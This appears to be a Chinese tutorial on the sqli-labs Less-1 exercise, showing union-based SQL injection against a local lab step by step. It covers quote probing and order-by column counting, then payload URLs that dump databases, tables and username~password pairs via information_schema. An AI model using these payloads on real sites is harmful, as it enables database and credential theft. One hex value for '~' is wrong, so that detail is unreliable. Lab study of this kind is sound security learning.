- 在sqli-labs代码中,加入以下
echo $sql;echo "<br>";
- 将我们输入的sql语句输出,方便对语句判断
1.寻找是否存在SQL注入
当在HackBar里面输入该文字后
http://127.0.0.1/sql1/Less-1/?id=1’
说明该网站存在SQL注入
且端执行的SQL语句是
SELECT * FROM users WHERE id='1'' LIMIT 0,1;
2.通过order by发现该表存在几列
通过order by [num] 不断爆破
order by [num] 对表中某列进行重新排序,如果不存在num列,则会直接报错
- order by 3时

- order by 4时

可以发现该数据库中user表只存在三列。
P:注意,注释符分为:“— ”(后面有空格);“#”(单行注释) —+ 在 传输给后端时 被转义为 —
由此下一步的 union select 1,2,3。是因为该表有3列
3.通过联合查询反馈得到回显范围
union select :联合查询
通过 union select 联合查询 并显示出结果
由于Limit 0,1只返回索引的第一行的信息
故而当在Hackbar里面输入http://127.0.0.1/sql1/Less-1/?id=1’ union select 1,2,3—+
反馈结果只会为
故需要把id=’1’这个查询结果报错或者在后面加上 limit 1,1(从1开始的第一行记录)
改成 http://127.0.0.1/sql1/Less-1/?id=21’ union select 1,2,3—+或http://127.0.0.1/sql1/Less-1/?id=1’ union select 1,2,3 limit 1,1—+
反馈结果为
并且从此可知,该回显只显示 select 后两个参数;
4.爆库
Hackbar里输入:
http://127.0.0.1/sql1/Less-1/?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 2,1—+
通过 limit 2,1 。将2索引后的第三行显示出来
由于一行一行的输出过慢
这里使用
group_concat(schema_name)将information_schema中的schema_name打包成一个集合
SELECT * FROM users WHERE id='111' union select 1,2,group_concat(schema_name) from information_schema.schemata;
5.爆表
Hackbar里输入:
http://127.0.0.1/sql1/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’—+
如上同理
反馈:
由于单引号容易出问题
故推荐把table_schema=’security’
通过
改为16进制0x7365637572697479
爆列同理
group_concat(column_name) from information_schema.columns where table_name=’users’—+
改为16进制0x7573657273
爆字段同理
group_concat(password) from security.users—+
但由于这样的回显结果不够逻辑,没有和账户名关联
在此
引入新的函数
concat_ws(‘~’,a,b)显示效果就为a~b
concat_ws(‘~’,username,password) —> 
再由group集合
group_concat(concat_ws(‘~’,username,password))—>
不过该语句仍然使用了单引号,故标记处应该改为16进制:0x7e2008900170
通过 union select 联合查询 并显示出结果

